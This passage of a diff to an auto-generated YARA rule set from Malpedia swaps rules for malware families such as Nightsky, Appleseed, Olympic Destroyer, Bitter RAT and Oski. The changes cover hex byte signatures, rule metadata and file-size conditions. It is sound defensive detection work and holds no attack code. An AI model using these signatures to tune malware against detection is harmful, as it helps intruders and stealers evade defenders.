-		$sequence_3 = { 53 55 56 8bf1 57 b918000000 33c0 }
-		$sequence_4 = { 33c0 8a41ff 8d1440 8d1492 8d1492 8d1cd0 33d2 }
-		$sequence_5 = { 687f030000 6a00 68???????? 8bf0 }
-		$sequence_6 = { 33c0 8dbc24a0000000 33d2 899c249c000000 83c40c 89942484000000 f3ab }
-		$sequence_7 = { 81c468020000 c20400 53 c645002e bb01000000 eb04 8b742414 }
-		$sequence_8 = { 8b4518 83f804 7427 83f802 7422 83f806 741d }
-		$sequence_9 = { 83f80d 0f8661010000 eb04 8b6c2410 }
+		$sequence_0 = { 0f84a6010000 3bfd 0f849e010000 50 e8???????? 6a00 6a01 }
+		$sequence_1 = { 891f 8dbe9c000000 8b07 3bc3 7411 50 53 }
+		$sequence_2 = { ffd6 8d4dc8 ffd6 8d4db0 ffd6 8d4d9c ffd6 }
+		$sequence_3 = { c78504fdffff08800000 c7853cfeffff15000000 c78534feffff02000000 ff15???????? c785ecfcffff3c624000 c785e4fcffff08800000 c785fcfdffff18000000 }
+		$sequence_4 = { e8???????? 8945a0 8d7cbdd0 ff37 50 8bce e8???????? }
+		$sequence_5 = { 895508 0f8203ffffff 83c8ff 5f 5e 5b 5d }
+		$sequence_6 = { 51 52 e8???????? 8d9564ffffff 8d4dc8 89856cffffff }
+		$sequence_7 = { 57 50 e8???????? 3bc3 740e 895e7c 3dc3040000 }
+		$sequence_8 = { 8b3f eb03 8b7de0 c7467c01000000 8b4668 ff75e8 57 }
+		$sequence_9 = { 68???????? 85c0 0f9fc3 f7db ff15???????? 0fbfc0 8b55cc }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <1998848
 }
-rule MALPEDIA_Win_Nagini_Auto : FILE
+rule MALPEDIA_Win_Nightsky_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "140c68e0-b1a0-5de4-9ceb-f9c4372ec960"
+		id = "8aa7bf90-2e66-55fa-ac44-1eeed72fb6ec"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nagini"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nagini_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightsky"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nightsky_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "3751db8355d7cf68abbb539627fa735abe39bfd76ce94371ffdf9eba2b1cc16c"
+		logic_hash = "e63cd2d4ab9373a42087ae988b3e3adac99eadab50dc02b0732a77e7f3626d28"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144809,32 +151767,32 @@ rule MALPEDIA_Win_Nagini_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0131 1f 0031 1f 003422 0337 }
-		$sequence_1 = { a3???????? eb18 6a00 6a00 6a00 6a00 }
-		$sequence_2 = { 83c408 85c0 0f8510010000 837c242808 8d442414 68???????? }
-		$sequence_3 = { 3422 0536240538 27 06 37 260537260535 230434 }
-		$sequence_4 = { 0a06 1408 0412 06 }
-		$sequence_5 = { 720e 4e 42 0fb606 80b87081420000 74e9 8b5ddc }
-		$sequence_6 = { 668944246c a0???????? 8844246e 8a4701 8d7f01 }
-		$sequence_7 = { 6689442444 0f8238020000 ff74242c e8???????? 83c404 e9???????? }
-		$sequence_8 = { 0f835ffbffff 03f3 03d3 83fb1f 0f8715040000 ff249da0c64000 }
-		$sequence_9 = { b3ac 98 b7b0 9c }
+		$sequence_0 = { 420fb68c1210ab0400 c1e108 0bc8 420fb6841212ab0400 }
+		$sequence_1 = { 4150 4d0fabe0 66442bc5 311424 6641d3e0 4158 4863d2 }
+		$sequence_2 = { 4883ec48 488364243000 8364242800 41b803000000 488d0dc0460000 4533c9 ba00000040 }
+		$sequence_3 = { 5f c3 488d05cf110000 48b90000000000000080 488987c8000000 488d0557990200 }
+		$sequence_4 = { e8???????? 488d15d92c0100 41b804010000 33c9 c605????????00 ff15???????? }
+		$sequence_5 = { 488d15d4be0000 41b898000000 498bd9 e8???????? 488b8424d0050000 488b9424e8050000 }
+		$sequence_6 = { e41d 1a5b5f a9b7f95f5f b8cbaa75cc d113 0ae4 }
+		$sequence_7 = { 0f8c96000000 3b1d???????? 0f838a000000 488bf3 4c8be3 49c1fc05 4c8d2d7e190100 }
+		$sequence_8 = { 488d0d0fda0000 480f45cf 48894b48 e8???????? eb17 4885ff 488d0dead90000 }
+		$sequence_9 = { 4883ec28 4c8bc1 4c8d0d52bbfdff 498bc9 }
 
 	condition:
-		7 of them and filesize <12820480
+		7 of them and filesize <19536896
 }
-rule MALPEDIA_Win_Hermeticwiper_Auto : FILE
+rule MALPEDIA_Win_Appleseed_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ea8155d0-2aad-5127-b709-49a3ac0a065b"
+		id = "5111027d-aef3-530a-baef-816a96e705d5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwiper"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hermeticwiper_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.appleseed"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.appleseed_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "152c562a196a1884f9736d7ace893f74c52047d602608c8f019348b6a2233130"
+		logic_hash = "a810d449fba9d18767008ae79deb61edb7dc0a7b0fedfb1cf50aff52e06540b9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144848,32 +151806,32 @@ rule MALPEDIA_Win_Hermeticwiper_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { b9???????? 8bc7 6690 668b10 663b11 751e 6685d2 }
-		$sequence_1 = { 8bf8 85ff 7404 3bfe 750b 33c0 }
-		$sequence_2 = { 55 8bec 8b4508 ff30 ff15???????? 6803000280 }
-		$sequence_3 = { 8b0d???????? 83e802 7408 83e801 751b 8b7e08 }
-		$sequence_4 = { 8b75f8 13550c 6a00 6a00 52 50 56 }
-		$sequence_5 = { 33f6 660fd645dc 33ff 8975f4 50 0f1145bc }
-		$sequence_6 = { d3e0 8b4dfc 0facd605 c1ea05 8504b1 754e 8b4d14 }
-		$sequence_7 = { 7509 3b75d8 7504 8bc2 eb0f 3bcb }
-		$sequence_8 = { c20c00 813f46494c45 75d4 f6471601 74ce 0fb77714 }
-		$sequence_9 = { ebba f7d0 23c6 8b75e0 89048e 41 }
+		$sequence_0 = { 448bc6 442bc0 488b442450 488d0d65d30100 488b0cc1 4c8d4c244c 488d9520060000 }
+		$sequence_1 = { 4c89b590000000 c6858000000000 4883bde000000010 720c 488b8dc8000000 e8???????? 8bc7 }
+		$sequence_2 = { 90 488d4db8 e8???????? 48833d????????00 0f84b10c0000 }
+		$sequence_3 = { 488bcb ff15???????? ff15???????? 33ff 8bf0 0f1f8000000000 ff15???????? }
+		$sequence_4 = { 90 488d4db8 e8???????? 48833d????????00 0f84c0040000 488d157e170200 488d4db8 }
+		$sequence_5 = { 488bce ff15???????? 4885c0 7411 83caff 488bc8 }
+		$sequence_6 = { e9???????? 488d8af0000000 e9???????? 488b8a60000000 e9???????? 488d8a10010000 e9???????? }
+		$sequence_7 = { 0f8490000000 85db 0f8488000000 41880f 4b8b84e900670300 4183caff 4103da }
+		$sequence_8 = { 48ffc7 803c3a00 75f7 488d4c2450 4c8bc7 e8???????? 488d4c2450 }
+		$sequence_9 = { 48895dc8 c645b800 41b838000000 488d15b81d0200 488d4db8 e8???????? 90 }
 
 	condition:
-		7 of them and filesize <247808
+		7 of them and filesize <497664
 }
-rule MALPEDIA_Win_Noxplayer_Auto : FILE
+rule MALPEDIA_Win_Matanbuchus_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "aeae21d3-7da2-50ec-a0e6-bf9f936a4ea7"
+		id = "2788ba99-d4a7-56bc-b166-5140402f53be"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.noxplayer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.noxplayer_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matanbuchus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.matanbuchus_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "1a7d1e8968616ef04ac90265f765d718da000484253d6b729f0bd247a60f8bd7"
+		logic_hash = "78ecf15a99d40895d657b9372a7af5a206c5b9d4887dbdf8360368c6bcd36a27"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144887,34 +151845,34 @@ rule MALPEDIA_Win_Noxplayer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488941b0 488b42b8 41b8a8000000 488941b8 488b42c0 488941c0 8b42c8 }
-		$sequence_1 = { 413bd0 7511 48ffc1 4883c004 4883f904 7ce7 32c0 }
-		$sequence_2 = { 4803c1 48898398000000 488b4350 488b4818 48898bb0000000 0f28742470 440f28442460 }
-		$sequence_3 = { e8???????? 488d542450 b904010000 ff15???????? 4c8d05403b0300 488d4c2450 ba04010000 }
-		$sequence_4 = { 4c8d4e34 4c8b442458 488bd6 488b4e58 e8???????? 488d5614 488b4e50 }
-		$sequence_5 = { 488d5557 498d4c2408 e8???????? 488bd8 488d45b7 483bd8 7422 }
-		$sequence_6 = { 488bf2 488bf9 488d91c0000000 488d4c2428 e8???????? 90 488dafa0000000 }
-		$sequence_7 = { 4c894c2470 488b4508 4c3bc8 740f 418b4918 390e 7c07 }
-		$sequence_8 = { 8d4801 488d93b8000000 8b02 3bc8 741b 8b83c0000000 488b8b88000000 }
-		$sequence_9 = { 4489642460 4c8d442458 488d542460 488bc8 e8???????? eb03 498bc5 }
+		$sequence_0 = { 038c0534fdffff 51 e8???????? ebb4 8b55fc 52 e8???????? }
+		$sequence_1 = { 6a0c 6a0c 68???????? e8???????? }
+		$sequence_2 = { 8b4dfc 038c0534fdffff 51 e8???????? }
+		$sequence_3 = { 8b4df8 8b513c 035508 8955f4 }
+		$sequence_4 = { 6bc200 8b4d08 0fbe1401 33550c }
+		$sequence_5 = { 68f8000000 8d95b8feffff 52 8b45fc 0345ec 50 e8???????? }
+		$sequence_6 = { 8b45f4 c1e818 3345f4 8945f4 694df495e9d15b 894df4 }
+		$sequence_7 = { 51 8b55f0 52 6b45f828 8b4dfc 038c0534fdffff }
+		$sequence_8 = { eb44 b901000000 d1e1 8b55ec }
+		$sequence_9 = { 8b55ec 813a50450000 7407 33c0 e9???????? }
 
 	condition:
-		7 of them and filesize <742400
+		7 of them and filesize <2056192
 }
-rule MALPEDIA_Win_Hdmr_Auto : FILE
+rule MALPEDIA_Win_Olympic_Destroyer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "efac4b5a-015c-5408-9681-2898b333d92b"
+		id = "9f025408-c0a3-516e-ac3a-efc2033f9b9b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hdmr"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hdmr_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.olympic_destroyer_auto.yar#L1-L222"
 		license_url = "N/A"
-		logic_hash = "d93eae97d145bb46a0ed753e26aa98381b2be0cfcaaaf5d8753f4519f5f83cf1"
+		logic_hash = "93564b4c61bfe578140a2ed1dd33860e59e2d49295b03d310dd7eaa077d799f2"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -144926,32 +151884,45 @@ rule MALPEDIA_Win_Hdmr_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8945e0 85c0 7461 8d0cbd40d04100 8901 8305????????20 8b11 }
-		$sequence_1 = { 8945ec 894df0 894dfc 8b16 8b523c 50 }
-		$sequence_2 = { c1e810 4a 75e6 eb07 }
-		$sequence_3 = { 56 8b7508 68fe070000 8d85fef7ffff 6a00 }
-		$sequence_4 = { 85db 0f8492010000 8b8d70ffffff 0fb709 }
-		$sequence_5 = { 250000ff00 81e3000000ff 33c3 8bda 81e2ff000000 }
-		$sequence_6 = { 0fb701 0fb71c0f 2bc3 2bc2 }
-		$sequence_7 = { 75ea 8a03 3c61 0fbec0 }
-		$sequence_8 = { 8b400c 51 52 8bce ffd0 5e 5b }
-		$sequence_9 = { 50 ff15???????? 8d8c24780a0000 51 }
+		$sequence_0 = { 56 33c0 89542414 57 }
+		$sequence_1 = { 6690 3939 770a 8bc1 46 }
+		$sequence_2 = { 8b0c8d60ee5500 80643128fd 5f 5e }
+		$sequence_3 = { 50 689b000000 e8???????? e9???????? }
+		$sequence_4 = { ff15???????? 6880ee3600 ff15???????? 6800000500 56 }
+		$sequence_5 = { 50 68???????? e8???????? 83c408 8907 85c0 0f8480000000 }
+		$sequence_6 = { a1???????? 85c0 741a 833d????????00 7c0a }
+		$sequence_7 = { 50 68???????? 8d85e4fcffff 6805010000 }
+		$sequence_8 = { a1???????? c705????????f3274000 8935???????? a3???????? ff15???????? a3???????? 83f8ff }
+		$sequence_9 = { 7678 eb06 8b8de8efffff 2b8df0efffff 1b85f4efffff }
+		$sequence_10 = { 2bfa 8d0450 57 50 }
+		$sequence_11 = { 750b ff15???????? e9???????? 8b3d???????? 6a02 56 }
+		$sequence_12 = { 83f8fe 7419 8a4a02 3a4e02 }
+		$sequence_13 = { 83ffff 743a 8d857cf9ffff 50 57 ff15???????? }
+		$sequence_14 = { 898588f9ffff 8d85e4fbffff 68???????? 50 ff15???????? 83c40c 8d8594f9ffff }
+		$sequence_15 = { 8d842494000000 89442424 8d54241c 8b44245c 8d4c2424 6a24 }
+		$sequence_16 = { 50 68???????? 8bd7 8bcb e8???????? 8bd8 }
+		$sequence_17 = { 8d8580f7ffff 50 56 56 56 56 }
+		$sequence_18 = { 89442418 85c0 743a 57 }
+		$sequence_19 = { 50 68???????? 8d85ecfdffff 6805010000 }
+		$sequence_20 = { ffd6 50 ff15???????? 8d8594f9ffff }
+		$sequence_21 = { 50 68???????? e8???????? 83c40c 8903 5f }
+		$sequence_22 = { 50 68???????? 8901 ff770c e8???????? 83c40c }
 
 	condition:
-		7 of them and filesize <284672
+		7 of them and filesize <1392640
 }
-rule MALPEDIA_Win_Zerot_Auto : FILE
+rule MALPEDIA_Win_Bitter_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8ef83190-c437-5c69-9e28-6f4ff8bb0d5f"
+		id = "48708c16-f954-55fa-bcb7-85a1e067df06"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zerot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zerot_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bitter_rat_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "0536a182186ebeb3c971f24e54b07f0b9a695f53e7e594ac1e15149db29c5630"
+		logic_hash = "cf289391c2e8c84704b0f60fd200159e5bca809a29a5213fda197ca45567e744"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144965,32 +151936,32 @@ rule MALPEDIA_Win_Zerot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 46 81e6ff000080 7908 }
-		$sequence_1 = { 50 68???????? ff15???????? 8b3d???????? 8d85bcfbffff 50 }
-		$sequence_2 = { 6a00 ff760c ff15???????? 85c0 7430 6a00 8d85ccf9ffff }
-		$sequence_3 = { 8bf8 6a59 ff15???????? 85c0 b9???????? 0f45cf }
-		$sequence_4 = { 8b8ef2050000 8d96fa050000 e8???????? 8d8534cdffff 50 6802020000 ff15???????? }
-		$sequence_5 = { 85c0 740c 81bd34fcffffc8000000 7421 8b8530fcffff 40 898530fcffff }
-		$sequence_6 = { 8d7001 75da 8b35???????? 8d857cffffff 50 ffd6 83c002 }
-		$sequence_7 = { 6800020000 8d85bcfdffff 6a00 50 e8???????? 68???????? }
-		$sequence_8 = { 880c32 8a47f8 c0e005 02c1 880432 }
-		$sequence_9 = { 0f84b6000000 80bd53fcffff00 0f84a9000000 0fb74214 }
+		$sequence_0 = { 8bf4 6830750000 ff15???????? 3bf4 e8???????? e9???????? }
+		$sequence_1 = { e8???????? 8d856cf8ffff 50 8b8da8feffff 51 e8???????? }
+		$sequence_2 = { ff15???????? 3bf4 e8???????? 898574d8ffff 8bf4 8d858cd8ffff }
+		$sequence_3 = { 83c408 8d85fcd8ffff 50 e8???????? 83c404 898558d9ffff 8b8558d9ffff }
+		$sequence_4 = { ff15???????? 3bf4 e8???????? 8945a0 8bf4 6a01 }
+		$sequence_5 = { eb12 8b45f4 83e801 8945f4 8b4de8 83c101 894de8 }
+		$sequence_6 = { 89859cdbffff 8b8d9cdbffff 81e9d3070000 898d9cdbffff 83bd9cdbffff15 0f872b020000 8b959cdbffff }
+		$sequence_7 = { 8d1c8d00124700 8bf0 83e61f c1e606 8b0b 0fbe4c3104 83e101 }
+		$sequence_8 = { e8???????? 83c404 85c0 7420 e8???????? 8bf4 68d0070000 }
+		$sequence_9 = { 3b05???????? 0f8688000000 a1???????? d1e0 3945f8 760b 8b4df8 }
 
 	condition:
-		7 of them and filesize <303104
+		7 of them and filesize <1130496
 }
-rule MALPEDIA_Win_Laturo_Auto : FILE
+rule MALPEDIA_Win_Rcs_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a099051d-06cc-5747-80aa-ce74001854da"
+		id = "897f58a2-dc22-5f97-b551-4f423c0a43b4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.laturo"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.laturo_auto.yar#L1-L179"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rcs"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rcs_auto.yar#L1-L180"
 		license_url = "N/A"
-		logic_hash = "5c5686ac498628ddacc2bb584f3ee57bf281fd85acd0c0e6dfbd3f9934f8bef4"
+		logic_hash = "6868fef137d3b17f3a70ffb34345814aa00441ab2e72c702d2e7f970155b6f03"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145004,38 +151975,40 @@ rule MALPEDIA_Win_Laturo_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 486bc038 488b0d???????? 8b440120 c1e01e c1f81f 3b442450 741a }
-		$sequence_1 = { e8???????? 33db 8bf8 85c0 0f8453020000 4c8d2dea040100 }
-		$sequence_2 = { 884814 0fb644243c 83f805 7511 0fb6442405 83e001 85c0 }
-		$sequence_3 = { 48837c242000 7432 488b442430 4839442420 720c }
-		$sequence_4 = { 488d0d13800100 33c0 8b542420 f00fb111 85c0 742c 48837c242820 }
-		$sequence_5 = { 4c8d34c0 49c1fc06 4a8b84e1f0a50100 4a8b44f028 488945bf }
-		$sequence_6 = { 488b09 448b0481 33d2 b95a000000 ff15???????? }
-		$sequence_7 = { 4883f9fd 7706 ff15???????? 488364243000 488d0dfc7b0000 8364242800 41b803000000 }
-		$sequence_8 = { 8bc2 8955e4 c1e802 8bf2 8b55f0 83e603 }
-		$sequence_9 = { b803000000 50 68???????? ff763c e8???????? 83c40c 85c0 }
-		$sequence_10 = { 7510 46 83c028 3bf2 }
-		$sequence_11 = { 8a4dfe 84c0 8a45ff 7909 }
-		$sequence_12 = { 53 ff15???????? 50 ff15???????? 834f1406 8b15???????? 8b4df4 }
-		$sequence_13 = { 6bd730 8b0c8d30430110 c644112800 85f6 740c 56 e8???????? }
-		$sequence_14 = { 8945fc ff15???????? 85c0 7460 c603e9 8b4704 2bc3 }
-		$sequence_15 = { 83feff 0f8432010000 57 6a01 83caff 8d4de8 }
+		$sequence_0 = { 6a00 6880000000 6a01 6a00 6a05 }
+		$sequence_1 = { 8944245e 89442462 89442466 8944246a }
+		$sequence_2 = { 85ff 0f84d4000000 57 e8???????? }
+		$sequence_3 = { e8???????? 83c430 6aff 68???????? }
+		$sequence_4 = { ff15???????? 5f 5e 5d 5b 33c0 }
+		$sequence_5 = { 40 68???????? 50 e8???????? 83c40c eb0d }
+		$sequence_6 = { 81f1f3221c6a 41 f7c7073ed86f f8 f9 }
+		$sequence_7 = { 742d 8b7d08 8bbfdc000000 b81c010000 f765fc 8985c0feffff }
+		$sequence_8 = { 81f1ff2fe523 80f973 66f7c5db7a f5 }
+		$sequence_9 = { 83f907 773d ff248d6872f301 4f }
+		$sequence_10 = { 8945f4 eb1c 8b86dc000000 8b9014120000 0fb7781c c1e704 8b3c17 }
+		$sequence_11 = { 83f906 775c ff248d602ef001 c705????????803e0000 }
+		$sequence_12 = { 6a0e 6a00 ff75dc e8???????? 83c40c }
+		$sequence_13 = { 0fb7b810120000 c1e704 8b8d48f4fbff 83c103 0fb78c8870020000 c1e104 8b0c11 }
+		$sequence_14 = { 8b37 81c6c8020000 56 ff75fc ff5704 }
+		$sequence_15 = { 8b75ec 0375f8 8b5e0c 39df 7235 035e08 }
+		$sequence_16 = { 8bbfdc000000 8b7730 897734 ff7518 }
+		$sequence_17 = { 8b55fc 8b45f8 52 50 8b7d08 ff97a0000000 }
 
 	condition:
-		7 of them and filesize <253952
+		7 of them and filesize <11501568
 }
-rule MALPEDIA_Win_Latentbot_Auto : FILE
+rule MALPEDIA_Win_Pykspa_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "02ad78f6-9191-5ecc-84c6-a6e6dbb03fa8"
+		id = "c344e44d-277b-5916-93ac-fe5b84ee097a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.latentbot_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pykspa_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "efd4cdc341dd3e728319b10f2fc1071c2f12b6836d6f2ac31876c93b1c888c11"
+		logic_hash = "ae1a9dadb1337e6c1ef760caa0d42ce5c68005bd2830f1ee498d2437086c9f33"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145049,32 +152022,32 @@ rule MALPEDIA_Win_Latentbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 48 89742430 4c 892424 4c 8b6118 44 }
-		$sequence_1 = { 833a00 7410 49 8b0a }
-		$sequence_2 = { 90 0fb7c0 8d68bf 6683fd19 7703 83c020 0fb7c0 }
-		$sequence_3 = { c16d5008 836d5808 888c3020290000 eb12 8b4554 8a00 8b4d4c }
-		$sequence_4 = { 59 6a46 eb05 6a30 59 6a39 58 }
-		$sequence_5 = { 33c9 03f0 13ca 33c0 0375f8 }
-		$sequence_6 = { 56 0fb730 6683fe41 720c 6683fe5a 7706 83c620 }
-		$sequence_7 = { 837d4c00 8b5d68 0f8408030000 c70624000000 e9???????? }
-		$sequence_8 = { 33c9 51 890e 8bdc 52 6a40 }
-		$sequence_9 = { 8d45cf 897e04 8bd1 2bc1 881c10 4a 75fa }
+		$sequence_0 = { 8b5c240c 57 8b7c240c 3bfb 7513 57 8b7c2418 }
+		$sequence_1 = { 6a00 c6400e01 ff15???????? cc 55 8bec b89c110000 }
+		$sequence_2 = { c3 a1???????? 85c0 7501 c3 8b4818 85c9 }
+		$sequence_3 = { 381d???????? 8b2d???????? 744f 8d442418 68???????? 50 e8???????? }
+		$sequence_4 = { c60000 807d0000 0f843b010000 57 ff742414 e8???????? 50 }
+		$sequence_5 = { 0f95c0 5e c3 55 8bec 83ec54 53 }
+		$sequence_6 = { ff15???????? 8b35???????? 53 ffd6 8b3d???????? 53 ffd7 }
+		$sequence_7 = { 381d???????? 7508 381d???????? 743e 56 ff15???????? 83f805 }
+		$sequence_8 = { 8d85acfeffff 68???????? 50 e8???????? 85c0 59 59 }
+		$sequence_9 = { 6a05 8bca 33d2 f7f3 8bc7 bb40e20100 03ca }
 
 	condition:
-		7 of them and filesize <401408
+		7 of them and filesize <835584
 }
-rule MALPEDIA_Win_Unidentified_020_Cia_Vault7_Auto : FILE
+rule MALPEDIA_Win_Oski_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "229fefe8-12a2-5321-841b-a1c5858ad20f"
+		id = "e23300f3-24c2-58db-ad53-9ccc894ba178"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_020_cia_vault7"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_020_cia_vault7_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oski"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.oski_auto.yar#L1-L187"
 		license_url = "N/A"
-		logic_hash = "121c8e165e7a80ef0b3dea83e1137d20669defc5a0d83275fbb5b7562347ae72"
+		logic_hash = "32e88579dcf8b669972c260572f27190a2af2a9bf4eb835092b7f8cb9a6a6e17"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145088,32 +152061,39 @@ rule MALPEDIA_Win_Unidentified_020_Cia_Vault7_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a08 6a01 52 ff15???????? 85c0 0f859f000000 8b45d0 }
-		$sequence_1 = { 57 ff15???????? 8bf0 85f6 0f8470ffffff 8b85ecfdffff }
-		$sequence_2 = { 6a00 6a00 6a00 6a00 8d95f4fdffff 52 6a01 }
-		$sequence_3 = { 8bc1 c1f805 8bf1 83e61f 8d3c8520834100 8b07 }
-		$sequence_4 = { 0f870d0a0000 ff2485bbce4000 33c0 838df4fbffffff 898598fbffff 8985b0fbffff }
-		$sequence_5 = { 33d2 6806020000 52 8d85eafbffff 50 668995e8fbffff e8???????? }
-		$sequence_6 = { 5d c3 b984120000 b8???????? }
-		$sequence_7 = { 8d45f4 50 52 51 57 ff15???????? 8b4d08 }
-		$sequence_8 = { 50 51 ff15???????? 85c0 7420 8b55fc }
-		$sequence_9 = { 83ffff 7410 8d4c2420 51 }
+		$sequence_0 = { 50 a1???????? 50 8d8df0feffff 51 e8???????? }
+		$sequence_1 = { 25ff7f0000 c3 8bff 55 8bec 83ec14 ff7510 }
+		$sequence_2 = { e8???????? 83c40c e8???????? 50 a1???????? 50 }
+		$sequence_3 = { 8975f0 e8???????? cc 8bff 55 8bec 8b550c }
+		$sequence_4 = { 7408 39b5acfeffff 7787 6803010000 8d95edfeffff 56 }
+		$sequence_5 = { 83431810 66898568fbffff 8b4314 85c0 7577 8b8d84fbffff 51 }
+		$sequence_6 = { 6a00 6a1a 6a00 8985eceeffff 898df0eeffff }
+		$sequence_7 = { 53 68???????? 8d8de4feffff 51 53 }
+		$sequence_8 = { e8???????? 83c404 56 8d85ecfeffff 50 8d8dd0fcffff }
+		$sequence_9 = { f3c3 e9???????? 8bff 55 8bec 83ec1c a1???????? }
+		$sequence_10 = { e8???????? 83c404 8b0d???????? 51 ff15???????? a3???????? 833d????????00 }
+		$sequence_11 = { 8b5508 52 a1???????? 50 8d8de8fdffff }
+		$sequence_12 = { 83c404 8b55f8 8955f4 8b45f4 50 e8???????? }
+		$sequence_13 = { 50 8d4df8 51 6800020000 8b55f4 52 ff15???????? }
+		$sequence_14 = { 6a00 e8???????? 83c40c 8985e4fdffff }
+		$sequence_15 = { 8d55f4 52 6a00 68???????? ff15???????? 8945f0 }
